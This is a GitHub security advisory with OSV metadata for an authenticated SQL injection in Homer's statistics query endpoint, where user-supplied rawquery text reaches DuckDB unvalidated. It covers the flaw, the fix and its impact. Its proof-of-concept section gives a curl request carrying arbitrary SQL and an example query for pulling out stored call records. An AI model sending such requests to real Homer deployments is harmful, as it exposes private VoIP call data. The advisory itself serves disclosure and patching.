GHSA-F46Q-3V67-FMM4
Vulnerability from github – Published: 2026-10-07 16:13 – Updated: 2026-10-07 16:13Summary
The V4StatisticsQuery handler passes the user-supplied rawquery field directly to DuckDB without calling the sqlvalidator.ValidateRawSQL function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service.
Details
coordinator/handlers/statistics_v4.go lines 74-107 — V4StatisticsQuery:
query := &model.V4StatisticsQuery{}
if err = c.Bind(query); err != nil { ... }
// No ValidateRawSQL call here — contrast with other handlers:
results, err := h.flightService.Query(c.Request().Context(), query.RawQuery)
Contrast with coordinator/handlers/search.go line 194 — secure pattern not followed:
if err := sqlvalidator.ValidateRawSQL(rawQuery); err != nil {
return c.JSON(http.StatusBadRequest, ...)
}
query.RawQuery is whatever the caller submitted; it is passed verbatim to the FlightSQL/DuckDB backend. The handler is registered under the protected group (requires JWT), but given that the default JWT secret is empty (see related advisory), this is effectively pre-authentication on a default deployment.
PoC
# With a valid JWT (or empty JWT secret bypass):
curl -s -X POST http://<homer-host>/api/v4/statistics/query \
-H "Authorization: Bearer <jwt>" \
-H "Content-Type: application/json" \
-d '{
"param": {
"query": [{"rawquery": "SELECT * FROM information_schema.tables"}]
}
}'
# Returns all table names accessible to the DuckDB FlightSQL service
# Exfiltrate all stored call records:
# "rawquery": "SELECT * FROM hep LIMIT 1000"
# Arbitrary DuckDB SQL is accepted including INSTALL/LOAD for extension-based exfiltration
Impact
SQL Injection / Improper Neutralization of Special Elements (CWE-89). Any authenticated user can execute arbitrary SQL against all data accessible to the FlightSQL/DuckDB backend — including all stored VoIP call records, SIP messages, and metadata. Combined with the authentication bypass when JWT secret is empty, this is exploitable without credentials.
Fix
Apply sqlvalidator.ValidateRawSQL() to query.RawQuery before passing it to h.flightService.Query(), matching the pattern already used in search.go and transactions_v4.go.
If possible, please apply for a CVE number when posting.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/sipcapture/homer-app"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260625085520-a7d027dc684b"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62251"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T16:13:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe `V4StatisticsQuery` handler passes the user-supplied `rawquery` field directly to DuckDB without calling the `sqlvalidator.ValidateRawSQL` function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service.\n\n### Details\n**`coordinator/handlers/statistics_v4.go` lines 74-107** \u2014 `V4StatisticsQuery`:\n```go\nquery := \u0026model.V4StatisticsQuery{}\nif err = c.Bind(query); err != nil { ... }\n// No ValidateRawSQL call here \u2014 contrast with other handlers:\nresults, err := h.flightService.Query(c.Request().Context(), query.RawQuery)\n```\n\n**Contrast with `coordinator/handlers/search.go` line 194** \u2014 secure pattern not followed:\n```go\nif err := sqlvalidator.ValidateRawSQL(rawQuery); err != nil {\n return c.JSON(http.StatusBadRequest, ...)\n}\n```\n\n`query.RawQuery` is whatever the caller submitted; it is passed verbatim to the FlightSQL/DuckDB backend. The handler is registered under the `protected` group (requires JWT), but given that the default JWT secret is empty (see related advisory), this is effectively pre-authentication on a default deployment.\n\n### PoC\n```bash\n# With a valid JWT (or empty JWT secret bypass):\ncurl -s -X POST http://\u003chomer-host\u003e/api/v4/statistics/query \\\n -H \"Authorization: Bearer \u003cjwt\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"param\": {\n \"query\": [{\"rawquery\": \"SELECT * FROM information_schema.tables\"}]\n }\n }\u0027\n# Returns all table names accessible to the DuckDB FlightSQL service\n\n# Exfiltrate all stored call records:\n# \"rawquery\": \"SELECT * FROM hep LIMIT 1000\"\n# Arbitrary DuckDB SQL is accepted including INSTALL/LOAD for extension-based exfiltration\n```\n\n### Impact\nSQL Injection / Improper Neutralization of Special Elements (CWE-89). Any authenticated user can execute arbitrary SQL against all data accessible to the FlightSQL/DuckDB backend \u2014 including all stored VoIP call records, SIP messages, and metadata. Combined with the authentication bypass when JWT secret is empty, this is exploitable without credentials.\n\n### Fix\nApply `sqlvalidator.ValidateRawSQL()` to `query.RawQuery` before passing it to `h.flightService.Query()`, matching the pattern already used in `search.go` and `transactions_v4.go`.\n\nIf possible, please apply for a CVE number when posting.",
"id": "GHSA-f46q-3v67-fmm4",
"modified": "2026-10-07T16:13:08Z",
"published": "2026-10-07T16:13:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sipcapture/homer/security/advisories/GHSA-f46q-3v67-fmm4"
},
{
"type": "WEB",
"url": "https://github.com/sipcapture/homer/pull/837"
},
{
"type": "WEB",
"url": "https://github.com/sipcapture/homer/commit/a7d027dc684b210b62285c49f555ac88d64f35f0"
},
{
"type": "PACKAGE",
"url": "https://github.com/sipcapture/homer"
},
{
"type": "WEB",
"url": "https://github.com/sipcapture/homer/releases/tag/11.0.283"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Homer: Authenticated SQL Injection via Unvalidated rawquery Field in /api/v4/statistics/query"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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